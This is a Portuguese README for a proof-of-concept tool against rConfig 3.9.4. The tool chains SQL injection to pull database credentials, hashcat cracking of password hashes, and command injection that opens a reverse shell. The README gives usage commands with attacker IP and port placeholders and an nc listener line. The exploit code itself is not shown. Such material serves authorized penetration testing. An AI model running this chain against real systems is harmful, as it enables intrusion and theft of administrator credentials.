rConfig 3.9 PoC Combinado de Injeção SQL e Injeção de Comandos

Visão Geral

Este PoC tem como alvo a versão 3.9.4 do rConfig e demonstra a exploração através de uma combinação de vulnerabilidades de Injeção SQL e Injeção Remota de Comandos. Ele automatiza o processo de:

1. Extrair o nome do banco de dados via SQLi
2. Extrair credenciais de usuário do banco de dados
3. Tentar quebrar hashes de senha usando hashcat com a wordlist rockyou e as regras best64.rules
4. Opcionalmente, executar Execução Remota de Comandos (RCE) via injeção de comandos na funcionalidade de busca, usando as credenciais de admin quebradas

Este script é baseado e combina dois PoCs originais:

• 48208.py (Injeção SQL) por vikingfr
• 48241.py (Injeção de Comandos) por Matthew Aberegg e Michael Burkey

Ele foi modificado para automatizar a quebra e a geração opcional de shell.

Requisitos

• Python 3
• biblioteca requests (pip install requests)
• hashcat instalado e acessível via linha de comando
• wordlist rockyou.txt (ou equivalente) localizada em /usr/share/wordlists/rockyou.txt
• arquivo de regras do hashcat /usr/share/hashcat/rules/best64.rule

Uso

Para extrair apenas usuários e hashes:

python3 rConfig_rce.py https://target

Para extrair usuários, quebrar senhas e tentar RCE (requer IP e porta do atacante para reverse shell):

python3 rConfig_rce.py https://target attacker_ip attacker_port

Notas

• Se o hashcat falhar em quebrar a senha, o script sugere usar serviços de quebra online como CrackStation.
• Se o hash da senha não puder ser quebrado automaticamente, você será solicitado a inserir a senha em texto simples manualmente para tentativas de RCE.
• O script prioriza o uso da conta admin para a fase de injeção de comandos.
• Certifique-se de ter um listener (ex.: nc -lvnp 80) rodando em sua máquina atacante para capturar o reverse shell.

Aviso Legal

Esta ferramenta é destinada apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas sem permissão é ilegal e antiético.